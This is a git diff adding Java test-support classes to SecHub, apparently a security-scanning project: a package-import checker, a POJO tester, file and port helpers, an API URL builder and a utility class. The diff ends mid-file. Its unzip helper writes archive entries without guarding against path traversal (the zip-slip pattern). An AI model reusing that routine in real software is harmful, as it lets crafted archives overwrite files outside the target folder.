a/sechub-testframework/src/main/java/com/daimler/sechub/test/DomainAccessSourceVisitor.java b/sechub-testframework/src/main/java/com/daimler/sechub/test/DomainAccessSourceVisitor.java new file mode 100644 index 0000000000..432dbe8bf0 --- /dev/null +++ b/sechub-testframework/src/main/java/com/daimler/sechub/test/DomainAccessSourceVisitor.java @@ -0,0 +1,71 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.test; + +import java.io.File; +import java.util.ArrayList; +import java.util.List; + +import com.daimler.sechub.test.SimpleFileBasedPackageScanner.PackageSourceVisitor; + +public class DomainAccessSourceVisitor implements PackageSourceVisitor { + + private static final String COM_DAIMLER_SECHUB_DOMAIN = "com.daimler.sechub.domain."; + + public class DomainProblem { + private File file; + private String problem; + + public DomainProblem(File sourceFile, String string) { + this.file = sourceFile; + this.problem = string; + } + + public File getFile() { + return file; + } + + public String getProblem() { + return problem; + } + + } + + private List problems; + + public List getProblems() { + return problems; + } + + public DomainAccessSourceVisitor() { + problems = new ArrayList<>(); + } + + @Override + public void visit(File sourceFile, String packageOfFile, List importedPackages) { + String packageDomainName = fetchDomainName(packageOfFile); + if (packageDomainName == null || packageDomainName.isEmpty()) { + return; + } + for (String imported : importedPackages) { + String importDomainName = fetchDomainName(imported); + if (importDomainName!= null && !importDomainName.equals(packageDomainName)) { + problems.add(new DomainProblem(sourceFile, + "import problem:" + imported + " imported but inside package:" + packageOfFile)); + } + } + } + + private String fetchDomainName(String packageOfFile) { + int index = packageOfFile.indexOf(COM_DAIMLER_SECHUB_DOMAIN); + if (index == -1) { + return null; + } + String result = packageOfFile.substring(index+COM_DAIMLER_SECHUB_DOMAIN.length()); + int indexPoint = result.indexOf('.'); + if (indexPoint != -1) { + result = result.substring(0, indexPoint); + } + return result; + } + +} \ No newline at end of file diff --git a/sechub-testframework/src/main/java/com/daimler/sechub/test/EnvironmentEntryProvider.java b/sechub-testframework/src/main/java/com/daimler/sechub/test/EnvironmentEntryProvider.java new file mode 100644 index 0000000000..3ce9ec69ee --- /dev/null +++ b/sechub-testframework/src/main/java/com/daimler/sechub/test/EnvironmentEntryProvider.java @@ -0,0 +1,7 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.test; + +public interface EnvironmentEntryProvider { + + public String getEnvEntry(String name); +} diff --git a/sechub-testframework/src/main/java/com/daimler/sechub/test/ExampleConstants.java b/sechub-testframework/src/main/java/com/daimler/sechub/test/ExampleConstants.java new file mode 100644 index 0000000000..4451f7c4c3 --- /dev/null +++ b/sechub-testframework/src/main/java/com/daimler/sechub/test/ExampleConstants.java @@ -0,0 +1,9 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.test; + +public class ExampleConstants { + + public static final String URI_SECHUB_SERVER="sechub.example.com"; + public static final String URI_TARGET_SERVER="example.org"; + +} diff --git a/sechub-testframework/src/main/java/com/daimler/sechub/test/JSONTestSupport.java b/sechub-testframework/src/main/java/com/daimler/sechub/test/JSONTestSupport.java new file mode 100644 index 0000000000..8d1ed76e26 --- /dev/null +++ b/sechub-testframework/src/main/java/com/daimler/sechub/test/JSONTestSupport.java @@ -0,0 +1,35 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.test; + +import java.io.IOException; +import java.util.Map; + +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.ObjectMapper; + +public class JSONTestSupport { + + public static final JSONTestSupport DEFAULT = new JSONTestSupport(); + + private ObjectMapper objectMapper; + + public JSONTestSupport(){ + objectMapper=createObjectMapper(); + } + + /** + * Creates jackson object mapper, can be overriden + * @return object mapper + */ + protected ObjectMapper createObjectMapper() { + return new ObjectMapper(); + } + + public String toJson(Map json) throws IOException { + return objectMapper.writeValueAsString(json); + } + + public JsonNode fromJson(String json) throws IOException { + return objectMapper.readTree(json); + } +} \ No newline at end of file diff --git a/sechub-testframework/src/main/java/com/daimler/sechub/test/PojoTester.java b/sechub-testframework/src/main/java/com/daimler/sechub/test/PojoTester.java new file mode 100644 index 0000000000..2970ed49ef --- /dev/null +++ b/sechub-testframework/src/main/java/com/daimler/sechub/test/PojoTester.java @@ -0,0 +1,101 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.test; + +import static org.junit.Assert.*; + +import java.beans.BeanInfo; +import java.beans.Introspector; +import java.beans.PropertyDescriptor; +import java.lang.reflect.Constructor; +import java.lang.reflect.Method; +import java.lang.reflect.ParameterizedType; +import java.lang.reflect.Type; +import java.util.Optional; + +import org.mockito.Mockito; + +public class PojoTester { + private PojoTester() { + + } + + public static void testEqualsAndHashCodeCorrectImplemented(T objectA, T objectBequalToA, + T objectCnotEqualToAOrB) { + assertNotNull(objectA); + assertNotNull(objectBequalToA); + assertNotNull(objectCnotEqualToAOrB); + + assertTrue("objectA is not equals not objectB but must be -check implementation!", + objectA.equals(objectBequalToA)); + assertTrue("objectB is not equals not objectA but must be -check implementation!", + objectBequalToA.equals(objectA)); + + assertEquals("objectA has not same hashcode as objectB but must be -check implementation!", objectA.hashCode(), + objectBequalToA.hashCode()); + + assertFalse("objectA is equals to objectC but must NOT be -check implementation!", + objectA.equals(objectCnotEqualToAOrB)); + assertFalse("objectB is equals to objectC but must NOT be -check implementation!", + objectCnotEqualToAOrB.equals(objectA)); + + } + + public static void testSetterAndGetter(Object objectToTest) { + assertNotNull("Cannot test null objects!", objectToTest); + + try { + BeanInfo beanInfo = Introspector.getBeanInfo(objectToTest.getClass()); + PropertyDescriptor[] propertyDescriptors = beanInfo.getPropertyDescriptors(); + for (PropertyDescriptor descriptor : propertyDescriptors) { + Method writeMethod = descriptor.getWriteMethod(); + if (writeMethod == null) { + continue; + } + Method readmethod = descriptor.getReadMethod(); + if (readmethod == null) { + continue; + } + Class type = descriptor.getPropertyType(); + boolean optional= type.equals(Optional.class); + if (optional) { + /* ugly but necessary, to handle optinonal...*/ + Type generic = readmethod.getGenericReturnType(); + ParameterizedType pm = (ParameterizedType) generic; + Type[] args = pm.getActualTypeArguments(); + String typeName = args[0].getTypeName(); + type = Class.forName(typeName); + } + Object mockedArgument = null; + try { + Constructor constructor = type.getConstructor(); + mockedArgument = constructor.newInstance(); + } catch (Exception e) { + /* no default constructor available - fall back to Mockito ... */ + try { + mockedArgument = Mockito.mock(type); + }catch(Exception e2) { + throw new IllegalStateException("No default constructor available for:"+type+"\nat method:"+readmethod+"\nDid try to creeate with mockito, but failed",e); + } + } + if (optional) { + mockedArgument=Optional.of(mockedArgument); + } + writeMethod.invoke(objectToTest, mockedArgument); + + Object result = readmethod.invoke(objectToTest); + + if (result != mockedArgument) { + fail("The getter/setter implementation of " + objectToTest.getClass() + " failed on property:" + + descriptor.getName()); + } + + } + + } catch (Exception e) { + e.printStackTrace(); + fail("Bean introspection failed - internal error in framework. See output for details - message was:" + + e.getMessage()); + } + } + +} diff --git a/sechub-testframework/src/main/java/com/daimler/sechub/test/ScenarioChain.java b/sechub-testframework/src/main/java/com/daimler/sechub/test/ScenarioChain.java new file mode 100644 index 0000000000..55a59b6695 --- /dev/null +++ b/sechub-testframework/src/main/java/com/daimler/sechub/test/ScenarioChain.java @@ -0,0 +1,44 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.test; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * Scenario helper class for easier wiremock testing using scenarios + * @author Albert Tregnaghi + * + */ +public class ScenarioChain { + + private static final Logger LOG = LoggerFactory.getLogger(ScenarioChain.class); + + private String scenario; + private String stateBefore; + private String stateAfter; + + public ScenarioChain(String name, String stateBefore) { + this.scenario=name; + this.stateBefore=stateBefore; + this.stateAfter=stateBefore; + } + + public ScenarioChain nextState(String nextState) { + LOG.debug("switching from state:{} to next state:{}",stateBefore,nextState); + this.stateBefore=this.stateAfter; + this.stateAfter=nextState; + return this; + } + + public String getStateBefore() { + return stateBefore; + } + + public String getStateAfter() { + return stateAfter; + } + + public String getScenario() { + return scenario; + } +} diff --git a/sechub-testframework/src/main/java/com/daimler/sechub/test/SechubTestComponent.java b/sechub-testframework/src/main/java/com/daimler/sechub/test/SechubTestComponent.java new file mode 100644 index 0000000000..bd28697bc2 --- /dev/null +++ b/sechub-testframework/src/main/java/com/daimler/sechub/test/SechubTestComponent.java @@ -0,0 +1,13 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.test; + +/** + * Currently just a marker annotation for components/classes specially designed + * for testing + * + * @author Albert Tregnaghi + * + */ +public @interface SechubTestComponent { + +} diff --git a/sechub-testframework/src/main/java/com/daimler/sechub/test/SimpleFileBasedPackageScanner.java b/sechub-testframework/src/main/java/com/daimler/sechub/test/SimpleFileBasedPackageScanner.java new file mode 100644 index 0000000000..c4597ec34d --- /dev/null +++ b/sechub-testframework/src/main/java/com/daimler/sechub/test/SimpleFileBasedPackageScanner.java @@ -0,0 +1,86 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.test; + +import java.io.BufferedReader; +import java.io.File; +import java.io.FileFilter; +import java.io.FileInputStream; +import java.io.InputStreamReader; +import java.util.ArrayList; +import java.util.List; + + +public class SimpleFileBasedPackageScanner { + private static final String PACKAGE = "package"; + private static final String IMPORT = "import"; + private static final JavaFileFiter FILE_FILTER = new JavaFileFiter(); + private static class JavaFileFiter implements FileFilter { + + @Override + public boolean accept(File file) { + if (file.isDirectory()) { + return true; + } + String name = file.getName(); + return name.endsWith(".java"); + } + } + + public static interface PackageSourceVisitor{ + + public void visit(File sourceFile, String packageOfFile, List importedPackages); + } + + private boolean verbose; + + public void visit(File file, PackageSourceVisitor visitor) { + if (file.isDirectory()) { + if (verbose) { + System.out.println("visiting directory:"+file); + } + for (File child: file.listFiles(FILE_FILTER)){ + visit(child,visitor); + } + }else { + if (verbose) { + System.out.println("visiting file:"+file); + } + loadAndVisitFile(file, visitor); + } + } + + private void loadAndVisitFile(File file, PackageSourceVisitor visitor) { + List imports = new ArrayList<>(); + + String packageOfFile = ""; + try (BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(file)))) { + String line = null; + while ((line = br.readLine()) != null) { + String trimmedLine = line.trim(); + if (trimmedLine.startsWith(IMPORT)) { + String importLine = reduceLineWithoutPrefixAndTrailingSemicolon(trimmedLine, IMPORT); + imports.add(importLine); + }else if (trimmedLine.startsWith(PACKAGE)){ + packageOfFile = reduceLineWithoutPrefixAndTrailingSemicolon(trimmedLine, PACKAGE); + } + } + } catch (Exception e) { + throw new IllegalStateException("Something corrupt: Cannot read file " + file.getAbsolutePath(), e); + } + visitor.visit(file, packageOfFile, imports); + } + + private String reduceLineWithoutPrefixAndTrailingSemicolon(String trimmedLine, String prefix) { + String reduced = trimmedLine.substring(prefix.length()).trim(); + /* remove ;*/ + if (reduced.endsWith(";")) { + reduced=reduced.substring(0, reduced.length()-1); + } + return reduced.trim(); + } + + public void setVerbose(boolean verbose) { + this.verbose=verbose; + }; +} + \ No newline at end of file diff --git a/sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java b/sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java new file mode 100644 index 0000000000..289d1843d7 --- /dev/null +++ b/sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java @@ -0,0 +1,198 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.test; + +import static org.junit.Assert.*; + +import java.io.BufferedReader; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileNotFoundException; +import java.io.InputStream; +import java.io.InputStreamReader; + +/** + * Simplifies some issues with eclipse versus gradle scan testing etc. (Gradle + * does use always the root folder, Eclipse is using the current project as + * relative root). Does also support convenient text file reading etc. + * + * @author Albert Tregnaghi + * + */ +@SechubTestComponent +public class TestFileSupport { + + private final File detectedGradleRoot; + + private String resourcePath; + + protected TestFileSupport(String projectTestResourcePath) { + if (projectTestResourcePath == null) { + this.resourcePath = ""; + } else { + if (projectTestResourcePath.endsWith("/")) { + throw new IllegalArgumentException("Testcase corrupt, path may not end with / please change"); + } + this.resourcePath = projectTestResourcePath; + } + + File userDir = new File(System.getProperty("user.dir")); + File gradleFolder = new File(userDir, "gradle"); + if (!gradleFolder.exists()) { + // eclipse call from an eclipse project - so we got a src folder here + File srcFolder = new File(userDir, "src"); + assertNotNull("no sourcefolder found!", srcFolder); + + File projectFolder = srcFolder.getParentFile(); + assertNotNull("no projectfolder found for source folder:" + srcFolder.getAbsolutePath(), projectFolder); + + File rootProjectFolder = projectFolder.getParentFile(); + assertNotNull("no root project folder found for project:" + projectFolder.getAbsolutePath(), + rootProjectFolder); + gradleFolder = new File(rootProjectFolder, "gradle"); + } + if (gradleFolder.exists()) { + detectedGradleRoot = gradleFolder.getParentFile(); + } else { + throw new IllegalStateException("Testcase szenario corrupt, cannot determine gradle root folder!"); + } + } + + public InputStream getInputStreamTo(String resourcePath) { + File file = createFileFromResourcePath(resourcePath); + try { + return new FileInputStream(file); + } catch (FileNotFoundException e) { + throw new IllegalStateException("Create method does test file exists - and so this MUST exist here!",e); + } + } + + public File getRootFolder() { + return detectedGradleRoot; + } + /** + * Loads a test file from defined project test resource path + given path, will + * use \n as line break + * + * @param pathFromRoot + * @return text file + * @throws IllegalArgumentException + * when file cannot be found (runtime exception to reduce bloating + * stuff) + */ + public String loadTestFile(String path) { + return loadTestFile(path, "\n"); + } + + /** + * Loads a test file from defined project test resource path + given path - does + * also asserts that file exists + * + * @param path + * - relative path, may not start with / + * @return text file + * @throws IllegalArgumentException + * when file cannot be found (runtime exception to reduce bloating + * stuff) + */ + public String loadTestFile(String path, String lineBreak) { + return loadTestFileFromRoot(createPathFromRoot(path), lineBreak); + } + + private String createPathFromRoot(String path) { + return resourcePath + "/" + path; + } + + /** + * Loads a test file from root path, will use \n as line break + * + * @param pathFromRoot + * @return text file + * @throws IllegalStateException + * when file cannot be found (runtime exception to reduce bloating + * stuff) + */ + public String loadTestFileFromRoot(String pathFromRoot) { + return loadTestFileFromRoot(pathFromRoot, "\n"); + } + + /** + * Loads a test file from root path - does also asserts that file exists + * + * @param pathFromRoot + * @return text file + * @throws IllegalStateException + * when file cannot be found (runtime exception to reduce bloating + * stuff) + */ + public String loadTestFileFromRoot(String pathFromRoot, String lineBreak) { + if (lineBreak == null) { + throw new IllegalArgumentException("Testcase corrupt: Line break may not be null!"); + } + File file = createFileFromRoot(pathFromRoot); + + return loadTextFile(file, lineBreak); + } + + + /** + * + * @param file + * @param lineBreak + * @return + */ + public String loadTextFile(File file, String lineBreak) { + StringBuilder sb = new StringBuilder(); + + try (BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(file),"UTF-8"))) { + String line = null; + + while ((line = br.readLine()) != null) { + sb.append(line); + sb.append(lineBreak); + } + return sb.toString(); + } catch (Exception e) { + throw new IllegalStateException("Testcase corrupt: Cannot read test file " + file.getAbsolutePath(), e); + } + } + + /** + * Creates a file inside project - does also asserts that file exists + * + * @param pathFromRoot + * @return file + * @throws IllegalStateException + * when file cannot be found (runtime exception to reduce bloating + * stuff) + */ + public File createFileFromRoot(String pathFromRoot) { + return assertFile(new File(detectedGradleRoot, pathFromRoot)); + } + + /** + * Creates a file based resource path given at constructor- does also asserts + * that file exists. So if you are using 'src/test/resources' in constructor + * call as resource path you must be aware that you have no access to normal + * resources... In this case use the {@link #createFileFromRoot(String)} method + * instead + * + * @param pathInProject + * @return file + * @throws IllegalStateException + * when file cannot be found (runtime exception to reduce bloating + * stuff) + */ + public File createFileFromResourcePath(String pathInProject) { + return assertFile(new File(createFileFromRoot(resourcePath), pathInProject)); + } + + private File assertFile(File file) { + if (file == null) { + throw new IllegalArgumentException("file is null!"); + } + if (!file.exists()) { + throw new IllegalStateException("Testcase corrupt: Test file does not exist:" + file.getAbsolutePath()); + } + return file; + } +} diff --git a/sechub-testframework/src/main/java/com/daimler/sechub/test/TestPortProvider.java b/sechub-testframework/src/main/java/com/daimler/sechub/test/TestPortProvider.java new file mode 100644 index 0000000000..d461a46048 --- /dev/null +++ b/sechub-testframework/src/main/java/com/daimler/sechub/test/TestPortProvider.java @@ -0,0 +1,111 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.test; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * This class is mainly for preventing race conditions at build servers
    + * E.g . wire mock tests binding same port on differnt builds... will break at + * least one build
    + *
    + * We use System environment entries to provide different ports or when not set + * use defaults.
    + * This class uses no spring boot env/property magic, so build scripts must + * setup environment variables. When defining some environment parts (e.g. + * SERVER_PORT) you will override some spring boot setup (e.g. "server.port") as + * well. For SERVER_PORT this is wanted because integration test server relies on this + * + * @author Albert Tregnaghi + * + */ +public class TestPortProvider { + + private static final int DEFAULT_WIREMOCK_HTTPS_PORT = 8444; + private static final int DEFAULT_WIREMOCK_HTTP_PORT = 8087; + private static final int DEFAULT_INTEGRATIONTEST_SERVER_PORT = 8443; + private static final int DEFAULT_RESTDOC_HTTPS_PORT = 8081; + private static final int DEFAULT_MVC_MOCK_HTTPS_PORT = 8081; + + private static final String ENV_SECHUB_TEST_WIREMOCK_HTTP_PORT = "SECHUB_TEST_WIREMOCK_HTTP_PORT"; + + private static final String ENV_SECHUB_TEST_RESTDOC_HTTPS_PORT = "SECHUB_TEST_RESTDOC_HTTPS_PORT"; + private static final String ENV_SECHUB_TEST_WIREMOCK_HTTPS_PORT = "SECHUB_TEST_WIREMOCK_HTTPS_PORT"; + private static final String ENV_SECHUB_TEST_MVCMOCK_HTTPS_PORT = "SECHUB_TEST_MVCMOCK_HTTPS_PORT"; + + private static final String ENV_SERVER_PORT = "SERVER_PORT"; // we reuse spring boot "server.port" + + private int wireMockHttpPort; + private int wireMockHttpsPort; + private int integrationTestServerPort; + private EnvironmentEntryProvider envProvider = new DefaultEnvironmentEntryProvider(); + private int restDocPort; + private int mvcMockPort; + + private static final Logger LOG = LoggerFactory.getLogger(TestPortProvider.class); + + public static final TestPortProvider DEFAULT_INSTANCE = new TestPortProvider(); + + TestPortProvider() { + wireMockHttpPort = getEnvOrDefault(ENV_SECHUB_TEST_WIREMOCK_HTTP_PORT, DEFAULT_WIREMOCK_HTTP_PORT); + wireMockHttpsPort = getEnvOrDefault(ENV_SECHUB_TEST_WIREMOCK_HTTPS_PORT, DEFAULT_WIREMOCK_HTTPS_PORT); + restDocPort = getEnvOrDefault(ENV_SECHUB_TEST_RESTDOC_HTTPS_PORT, DEFAULT_RESTDOC_HTTPS_PORT); + mvcMockPort = getEnvOrDefault(ENV_SECHUB_TEST_MVCMOCK_HTTPS_PORT, DEFAULT_MVC_MOCK_HTTPS_PORT); + integrationTestServerPort = getEnvOrDefault(ENV_SERVER_PORT, DEFAULT_INTEGRATIONTEST_SERVER_PORT); + } + + int getEnvOrDefault(String name, int defaultValue) { + int value = convertToInt(getEnvProvider().getEnvEntry(name), defaultValue); + if (value < 0) { + return defaultValue; + } + return value; + } + + int convertToInt(String intValueAsString, int defaultValue) { + if (intValueAsString == null) { + return defaultValue; + } + try { + return Integer.parseInt(intValueAsString); + } catch (NumberFormatException e) { + LOG.error("Was not able to convert to int:" + intValueAsString, e); + return defaultValue; + } + + } + + public final int getWireMockTestHTTPPort() { + return wireMockHttpPort; + } + + public final int getWireMockTestHTTPSPort() { + return wireMockHttpsPort; + } + + public final int getIntegrationTestServerPort() { + return integrationTestServerPort; + } + + public final int getRestDocTestPort() { + return restDocPort; + } + + public int getWebMVCTestHTTPSPort() { + return mvcMockPort; + } + + void setEnvironmentEntryProvider(EnvironmentEntryProvider provider) { + if (provider==null) { + throw new IllegalArgumentException("Provider may not be null!"); + } + this.envProvider=provider; + } + + EnvironmentEntryProvider getEnvProvider() { + return envProvider; + } + + + +} diff --git a/sechub-testframework/src/main/java/com/daimler/sechub/test/TestURLBuilder.java b/sechub-testframework/src/main/java/com/daimler/sechub/test/TestURLBuilder.java new file mode 100644 index 0000000000..c1bd768784 --- /dev/null +++ b/sechub-testframework/src/main/java/com/daimler/sechub/test/TestURLBuilder.java @@ -0,0 +1,314 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.test; + +import java.util.UUID; + +public class TestURLBuilder { + + public enum RestDocPathParameter { + JOB_UUID("jobUUID"), + + PROJECT_ID("projectId"), + + USER_ID("userId"), + + ONE_TIME_TOKEN("oneTimeToken"), + + EMAIL_ADDRESS("emailAddress"), + + ; + + private String restDocName; + private String urlPart; + + private RestDocPathParameter(String id) { + this.restDocName = id; + this.urlPart = "{" + id + "}"; + } + + /** + * + * We do NOT use name() because its an enum... + * @return The name of the parameter - e.g. when path element is "{userId}" then this method returns "userId". + */ + public String paramName() { + return restDocName; + } + + /** + * @return path element in url. For example: when pathName is "userId" this method returns "{userId}" + */ + public String pathElement() { + return urlPart; + } + } + + private static final String API_ADMIN = "/api/admin"; + private static final String API_USER = "/api/user"; + private static final String API_ANONYMOUS = "/api/anonymous"; + + + private static final String API_ADMIN_USER = API_ADMIN + "/user"; + private static final String API_ADMIN_PROJECT = API_ADMIN + "/project"; + private static final String API_ADMIN_JOB = API_ADMIN + "/job"; + private static final String API_ADMIN_JOBS = API_ADMIN_JOB+"s"; + private static final String API_ADMIN_SCAN = API_ADMIN+"/scan"; + private static final String API_PROJECT = "/api/project"; + private String protocol; + private String hostname; + private int port; + + public static TestURLBuilder https(int port) { + return new TestURLBuilder("https", port); + } + + public static TestURLBuilder http(int port) { + return new TestURLBuilder("http", port); + } + + public TestURLBuilder(String protocol, int port) { + this(protocol, port, "localhost"); + } + + public TestURLBuilder(String protocol, int port, String hostname) { + this.protocol = protocol; + this.port = port; + this.hostname = hostname; + } + + /* +-----------------------------------------------------------------------+ */ + /* +............................ common ...................................+ */ + /* +-----------------------------------------------------------------------+ */ + + private String buildUrl(String custom, Object... parts) { + StringBuilder sb = new StringBuilder(); + sb.append(createRootPath()); + sb.append(custom); + for (Object pathVariable : parts) { + sb.append("/"); + sb.append(pathVariable); + } + return sb.toString(); + } + + /* +-----------------------------------------------------------------------+ */ + /* +............................ CLI /Execute .............................+ */ + /* +-----------------------------------------------------------------------+ */ + public String buildAddJobUrl(String projectId) { + return buildUrl(API_PROJECT, projectId, "job"); + } + + public String buildApproveJobUrl(String projectId, String jobUUID) { + return buildUrl(API_PROJECT, projectId, "job", jobUUID,"approve"); + } + + public String buildGetJobStatusUrl(String projectId, String jobUUID) { + return buildUrl(API_PROJECT, projectId, "job", jobUUID); + } + + public String buildGetJobReportUrl(String projectId, UUID jobUUID) { + return buildUrl(API_PROJECT, projectId, "report", jobUUID); + } + + public String buildUploadSourceCodeUrl(String projectId, UUID jobUUID) { + return buildUploadSourceCodeUrl(projectId,jobUUID.toString()); + } + + public String buildUploadSourceCodeUrl(String projectId, String jobUUID) { + return buildUrl(API_PROJECT, projectId, "job", jobUUID,"sourcecode"); + } + + /* +-----------------------------------------------------------------------+ */ + /* +............................ anonymous ................................+ */ + /* +-----------------------------------------------------------------------+ */ + + public String buildUserSignUpUrl() { + return buildUrl(API_ANONYMOUS, "signup"); + } + + public String buildAnonymousGetNewApiTokenByLinkWithOneTimeTokenUrl(String oneTimeToken) { + return buildUrl(API_ANONYMOUS, "apitoken", oneTimeToken); + } + + public String buildAnonymousRequestNewApiToken(String emailAddress) { + return buildUrl(API_ANONYMOUS,"refresh/apitoken",emailAddress); + } + + /* +-----------------------------------------------------------------------+ */ + /* +............................ admin/signup .............................+ */ + /* +-----------------------------------------------------------------------+ */ + + + public String buildAdminAcceptsUserSignUpUrl(String userId) { + return buildUrl(API_ADMIN, "signup/accept", userId); + } + + public String buildAdminDeletesUserSignUpUrl(String userId) { + return buildUrl(API_ADMIN, "signup", userId); + } + + public String buildAdminListsUserSignupsUrl() { + return buildUrl(API_ADMIN, "signups"); + } + + + /* +-----------------------------------------------------------------------+ */ + /* +............................ admin/users ..............................+ */ + /* +-----------------------------------------------------------------------+ */ + + public String buildDeleteUserUrl(String userId) { + return buildUrl(API_ADMIN_USER, userId); + } + + public String buildGetUserDetailsUrl(String userId) { + return buildUrl(API_ADMIN_USER, userId); + } + + public String buildAdminListsUsersUrl() { + return buildUrl(API_ADMIN, "users"); + } + + public String buildAdminListsAdminsUrl() { + return buildUrl(API_ADMIN, "admins"); + } + + public String buildAdminDeletesUserUrl(String userId) { + return buildUrl(API_ADMIN_USER, userId); + } + + public String buildAdminShowsUserDetailsUrl(String userId) { + return buildUrl(API_ADMIN_USER, userId); + } + + + /* +-----------------------------------------------------------------------+ */ + /* +............................ admin/projects ...........................+ */ + /* +-----------------------------------------------------------------------+ */ + + private String createRootPath() { + return protocol + "://" + hostname + ":" + port; + } + + public String buildDeleteProjectUrl(String projectId) { + return buildUrl(API_ADMIN_PROJECT, projectId); + } + + public String buildAdminCreatesProjectUrl() { + return buildUrl(API_ADMIN_PROJECT); + } + + public String buildAdminGetProjectDetailsUrl(String projectId) { + return buildUrl(API_ADMIN_PROJECT, projectId); + } + + public String buildAdminListsProjectsUrl() { + return buildUrl(API_ADMIN, "projects"); + } + + public String buildAdminShowsProjectDetailsUrl(String projectId) { + return buildUrl(API_ADMIN_PROJECT, projectId); + } + + public String buildAdminAssignsUserToProjectUrl(String userId, String projectId) { + return buildUrl(API_ADMIN_PROJECT, projectId, "membership", userId); + } + + public String buildAdminUnassignsUserFromProjectUrl(String userId, String projectId) { + return buildUrl(API_ADMIN_PROJECT, projectId, "membership", userId); + } + + public String buildAdminFetchProjectInfoUrl(String projectId) { + return buildUrl(API_ADMIN_PROJECT, projectId); + } + + public String buildUpdateProjectWhiteListUrl(String projectId) { + return buildUrl(API_ADMIN_PROJECT, projectId, "whitelist"); + } + + public String buildAdminDeletesProject(String projectId) { + return buildUrl(API_ADMIN_PROJECT, projectId); + } + + public String buildAdminFetchesScanLogsForProject(String projectId) { + return buildUrl(API_ADMIN_PROJECT, projectId,"scan","logs"); + } + + + /* +-----------------------------------------------------------------------+ */ + /* +............................ project ..................................+ */ + /* +-----------------------------------------------------------------------+ */ + + public String buildFetchJobStatus(String projectId, String jobUUID) { + return buildUrl(API_PROJECT,projectId,"job",jobUUID); + } + + /* +-----------------------------------------------------------------------+ */ + /* +............................ admin/jobs ...............................+ */ + /* +-----------------------------------------------------------------------+ */ + public String buildAdminFetchAllRunningJobsUrl() { + return buildUrl(API_ADMIN_JOBS, "running"); + } + + public String buildAdminDownloadsZipFileContainingFullScanDataFor(UUID sechubJobUUID) { + return buildUrl(API_ADMIN_SCAN, "download", sechubJobUUID); + } + /* +-----------------------------------------------------------------------+ */ + /* +............................ admin/admin...............................+ */ + /* +-----------------------------------------------------------------------+ */ + public String buildAdminGrantsSuperAdminRightsTo(String targetUser) { + return buildUrl(API_ADMIN_USER, targetUser, "grant","superadmin"); + } + + public String buildAdminRevokesSuperAdminRightsFrom(String targetUser) { + return buildUrl(API_ADMIN_USER, targetUser, "revoke","superadmin"); + } + + + /* +-----------------------------------------------------------------------+ */ + /* +............................ integration test special (anonymous) .....+ */ + /* +-----------------------------------------------------------------------+ */ + + public String buildFetchEmailsFromMockMailServiceUrl(String emailAdress) { + return buildUrl(API_ANONYMOUS, "integrationtest/mock/emails/to", emailAdress); + } + + public String buildResetAllMockMailsUrl() { + return buildUrl(API_ANONYMOUS, "integrationtest/mock/emails"); + } + + public String buildIsAliveUrl() { + return buildUrl(API_ANONYMOUS, "integrationtest/alive"); + } + + public String buildGetFileUpload(String projectId, String jobUUID,String fileName) { + return buildUrl(API_ANONYMOUS,"integrationtest/"+projectId+"/"+jobUUID+"/uploaded/"+fileName); + } + + public String buildServerURL() { + return createRootPath(); + } + public String buildGetServerVersionUrl() { + return buildUrl(API_ANONYMOUS,"info/version"); + } + + + /* +-----------------------------------------------------------------------+ */ + /* +............................ integration test special (from user) .....+ */ + /* +-----------------------------------------------------------------------+ */ + + public String buildCheckRoleUser() { + return buildUrl(API_USER , "integrationtest/check/role/user"); + } + public String buildCheckRoleOwner() { + return buildUrl(API_USER , "integrationtest/check/role/owner"); + } + + public String buildFetchReport(String projectId, UUID sechubJobUUID) { + return buildUrl(API_PROJECT, projectId, "report",sechubJobUUID.toString()); + } + + + + + +} diff --git a/sechub-testframework/src/main/java/com/daimler/sechub/test/TestUtil.java b/sechub-testframework/src/main/java/com/daimler/sechub/test/TestUtil.java new file mode 100644 index 0000000000..4b2b431a32 --- /dev/null +++ b/sechub-testframework/src/main/java/com/daimler/sechub/test/TestUtil.java @@ -0,0 +1,70 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.test; + +import java.io.File; +import java.io.IOException; +import java.nio.file.Files; +import java.nio.file.Path; +import java.util.zip.ZipEntry; +import java.util.zip.ZipInputStream; + +@SechubTestComponent +public class TestUtil { + + private static final OperationSystem operationSystem = new OperationSystem(); + + public static void waitMilliseconds(long milliseconds) { + try { + Thread.sleep(milliseconds); // NOSONAR + } catch (InterruptedException e) { + throw new IllegalStateException("Testcase szenario corrupt / should not happen", e); + } + + } + + public static boolean isDeletingTempFiles() { + return !isKeepingTempfiles(); + } + + public static boolean isKeepingTempfiles() { + if (Boolean.getBoolean(System.getenv("SECHUB_KEEP_TEMPFILES"))){ + return true; + } + return false; + } + + public static boolean isWindows() { + return operationSystem.isWindows(); + } + + public static void unzip(final File zipFile, final Path unzipTo) throws IOException{ + try (ZipInputStream zipInputStream = new ZipInputStream(Files.newInputStream(zipFile.toPath()))) { + ZipEntry entry; + while ((entry = zipInputStream.getNextEntry()) != null) { + final Path toPath = unzipTo.resolve(entry.getName()); + if (entry.isDirectory()) { + Files.createDirectory(toPath); + } else { + // just ensure parent files are really available... + toPath.toFile().getParentFile().mkdirs(); + Files.copy(zipInputStream, toPath); + } + } + } + } + + private static class OperationSystem{ + + private boolean windows; + + OperationSystem(){ + String os = System.getProperty("os.name").toLowerCase();; + windows = (os.indexOf("win") >= 0); + } + + public boolean isWindows() { + return windows; + } + 